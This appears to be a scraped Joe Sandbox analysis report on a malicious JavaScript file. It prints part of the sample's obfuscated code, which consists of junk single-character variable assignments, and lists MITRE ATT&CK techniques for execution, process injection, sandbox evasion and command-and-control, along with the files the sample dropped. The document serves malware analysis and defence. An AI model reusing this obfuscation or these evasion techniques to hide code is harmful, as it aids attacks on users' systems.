956	pjtxbzpad = "x";
957	pjtxbzpad = "I";
958	pjtxbzpad = "J";
959	pjtxbzpad = "B";
960	pjtxbzpad = "y";
961	pjtxbzpad = "u";
962	pjtxbzpad = "l";
963	pjtxbzpad = "q";
964	pjtxbzpad = "l";
965	pjtxbzpad = "8";
966	dhowj = "q";
967	dhowj = "q";
968	dhowj = "U";
969	dhowj = "c";
970	dhowj = "W";
971	dhowj = "Q";
972	dhowj = "m";
973	dhowj = "l";
974	dhowj = "m";
975	dhowj = "N";
976	dhowj = "w";
977	dhowj = "W";
978	dhowj = "u";
979	dhowj = "s";
980	dhowj = "W";
981	dhowj = "M";
982	dhowj = "r";
983	dhowj = "k";
984	dhowj = "k";
985	dhowj = "D";
986	dhowj = "A";
987	dhowj = "t";
988	dhowj = "C";
989	dhowj = "b";
990	nfnvpn = "d";
991	nfnvpn = "Y";
992	nfnvpn = "d";
993	nfnvpn = "l";
994	nfnvpn = "&";
995	hvjftej = "o";
996	hvjftej = "e";
997	hvjftej = "B";
998	hvjftej = "q";
999	hvjftej = "O";
1000	hvjftej = "X";
1001	hvjftej = "x";
1002	hvjftej = "y";
1003	hvjftej = "e";
1004	hvjftej = "m";
1005	hvjftej = "2";
1006	ijdiudgvv = "i";
1007	ijdiudgvv = "t";
1008	ijdiudgvv = "I";
1009	ijdiudgvv = "E";
1010	ijdiudgvv = "a";
1011	ijdiudgvv = "c";
1012	ijdiudgvv = "O";
1013	ijdiudgvv = "W";
1014	ijdiudgvv = "o";
1015	ijdiudgvv = "p";
1016	ijdiudgvv = "U";
1017	ijdiudgvv = "i";
1018	ijdiudgvv = "b";
1019	ijdiudgvv = "o";
1020	ijdiudgvv = "C";
1021	ijdiudgvv = "S";
1022	ijdiudgvv = "g";
1023	ijdiudgvv = "U";
1024	ijdiudgvv = "q";
1025	ijdiudgvv = "Z";
1026	ijdiudgvv = "x";
1027	ijdiudgvv = "I";
1028	ijdiudgvv = "r";
1029	ktwpt = "Q";
1030	ktwpt = "X";
1031	ktwpt = "G";
1032	ktwpt = "m";
1033	ktwpt = "P";
1034	ktwpt = "f";
1035	ktwpt = "P";
1036	ktwpt = "r";
1037	ktwpt = "c";
1038	ktwpt = "j";
1039	ktwpt = "k";
1040	ktwpt = "Z";
1041	ktwpt = "h";
1042	ktwpt = "l";
1043	ktwpt = "c";
1044	ktwpt = "b";
1045	ktwpt = "x";
1046	ktwpt = "R";
1047	ktwpt = "H";
1048	ktwpt = "K";
1049	ktwpt = "u";
1050	ktwpt = "U";
1051	dthpgrahj = "F";
1052	dthpgrahj = "o";
1053	dthpgrahj = "J";
1054	dthpgrahj = "W";
1055	dthpgrahj = "E";
1056	dthpgrahj = "s";
1057	dthpgrahj = "w";
1058	dthpgrahj = "F";
1059	dthpgrahj = "R";
1060	dthpgrahj = "p";
1061	dthpgrahj = "p";
1062	dthpgrahj = "i";
1063	dthpgrahj = "s";
1064	dthpgrahj = "V";
1065	dthpgrahj = "Y";
1066	dthpgrahj = "e";
1067	dthpgrahj = "G";
1068	dthpgrahj = "Y";
1069	dthpgrahj = "Y";
1070	dthpgrahj = "w";
1071	dthpgrahj = "u";
1072	dthpgrahj = "w";
1073	dthpgrahj = "Z";
1074	dthpgrahj = "K";
1075	dthpgrahj = "k";
1076	dthpgrahj = "l";
1077	dthpgrahj = "C";
1078	dthpgrahj = "N";
1079	dthpgrahj = "s";
1080	dthpgrahj = "B";
1081	dthpgrahj = "H";
1082	dthpgrahj = "V";
1083	dthpgrahj = "F";
1084	dthpgrahj = "m";
1085	ttugijapu = "y";
1086	ttugijapu = "g";
1087	ttugijapu = "s";
1088	ttugijapu = "o";
1089	qefxnacfy = "W";
1090	qefxnacfy = "H";
1091	qefxnacfy = "i";
1092	qefxnacfy = "g";
1093	qefxnacfy = "T";
1094	qefxnacfy = "g";
1095	qefxnacfy = "m";
1096	qefxnacfy = "w";
1097	qefxnacfy = "T";
1098	qefxnacfy = "P";
1099	qefxnacfy = "B";
1100	qefxnacfy = "T";
1101	qefxnacfy = "E";
1102	qefxnacfy = "B";
1103	qefxnacfy = "T";
1104	qefxnacfy = "X";
1105	qefxnacfy = "K";
1106	qefxnacfy = "j";
1107	qefxnacfy = "u";
1108	qefxnacfy = "P";
1109	qefxnacfy = "c";
1110	qefxnacfy = "P";
1111	qefxnacfy = "k";
1112	qefxnacfy = "t";
1113	qefxnacfy = "J";
1114	qefxnacfy = "d";
1115	qefxnacfy = "z";
1116	qefxnacfy = "q";
1117	qefxnacfy = "s";
1118	qefxnacfy = "R";
1119	qefxnacfy = "Z";
1120	qefxnacfy = "j";
1121	qefxnacfy = "D";
1122	qefxnacfy = "D";
1123	qefxnacfy = "i";
1124	qefxnacfy = "D";
1125	qefxnacfy = "H";
1126	qefxnacfy = "p";
1127	qefxnacfy = "p";
1128	qefxnacfy = ".";
1129	tmiyg = "z";
1130	tmiyg = "x";
1131	tmiyg = "h";
1132	tmiyg = "P";
1133	tmiyg = "z";
1134	tmiyg = "N";
1135	tmiyg = "m";
1136	tmiyg = "T";
1137	fwqskdf = "u";
1138	fwqskdf = "W";
1139	fwqskdf = "G";
1140	fwqskdf = "V";
1141	fwqskdf = "h";
1142	fwqskdf = "v";
1143	fwqskdf = "I";
1144	fwqskdf = "A";
1145	fwqskdf = "v";
1146	fwqskdf = "Y";
1147	fwqskdf = "P";
1148	lfzadyduc = "k";
1149	lfzadyduc = "o";
1150	lfzadyduc = "f";
1151	lfzadyduc = "A";
1152	lfzadyduc = "j";
1153	lfzadyduc = "m";
1154	lfzadyduc = "X";
1155	lfzadyduc = "l";
1156	lfzadyduc = "X";
1157	lfzadyduc = "s";
1158	lfzadyduc = "o";
1159	lfzadyduc = "K";
1160	lfzadyduc = "V";
1161	lfzadyduc = "a";
1162	pkopwg = "Y";
1163	pkopwg = "O";
1164	pkopwg = "R";
1165	pkopwg = "x";
1166	pkopwg = "r";
1167	pkopwg = "u";
1168	zxczay = "Q";
1169	zxczay = "i";
1170	zxczay = "o";
1171	zxczay = "i";
1172	zxczay = "g";
1173	zxczay = "S";
1174	zxczay = "h";
1175	zxczay = "p";
1176	zxczay = "e";
1177	zxczay = "h";
1178	zxczay = "i";
1179	zxczay = "w";
1180	zxczay = "p";
1181	zxczay = "k";
1182	zxczay = "D";
1183	zxczay = "Z";
1184	zxczay = "G";
1185	zxczay = "u";
1186	zxczay = "k";
1187	zceuajo = "z";
1188	zceuajo = "q";
1189	zceuajo = "h";
1190	zceuajo = "q";
1191	zceuajo = "U";
1192	zceuajo = "b";
1193	zceuajo = "n";
1194	zceuajo = "e";
1195	zceuajo = "l";
1196	zceuajo = "Y";
1197	zceuajo = "E";
1198	zceuajo = "H";
1199	zceuajo = "Y";
1200	zceuajo = "I";
1201	zceuajo = "j";
1202	zceuajo = "F";
1203	zceuajo = "V";
1204	zceuajo = "v";
1205	zceuajo = "v";
1206	zceuajo = "v";
1207	zceuajo = "e";
1208	zceuajo = "C";
1209	zceuajo = "s";
1210	zceuajo = "B";
1211	zceuajo = "r";
1212	zceuajo = "a";
1213	zceuajo = "q";
1214	zceuajo = "@";
1215	aivxymoy = "G";
1216	aivxymoy = "e";
1217	aivxymoy = "K";
1218	aivxymoy = "T";
1219	aivxymoy = "n";
1220	aivxymoy = "m";
1221	aivxymoy = "A";
1222	aivxymoy = "Y";
1223	aivxymoy = "b";
1224	aivxymoy = "H";
1225	aivxymoy = "x";
1226	aivxymoy = "r";
1227	aivxymoy = "k";
1228	aivxymoy = "r";
1229	aivxymoy = "C";
1230	aivxymoy = "t";
1231	aivxymoy = "m";
1232	aivxymoy = "q";
1233	aivxymoy = "u";
1234	aivxymoy = "B";
1235	aivxymoy = "I";
1236	aivxymoy = "q";
1237	aivxymoy = "i";
1238	aivxymoy = "g";
1239	aivxymoy = "y";
1240	aivxymoy = "I";
1241	aivxymoy = "Y";
1242	aivxymoy = "R";
1243	aivxymoy = "f";
1244	aivxymoy = "p";
1245	aivxymoy = "j";
1246	aivxymoy = "B";
1247	aivxymoy = "Y";
1248	oqjgle ( );	oqjgle() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2832817159901627624.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\26aaef9b-efcb-4b3b-81dd-a6aed06f01a1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5908

Windows Analysis Report
2832817159901627624.js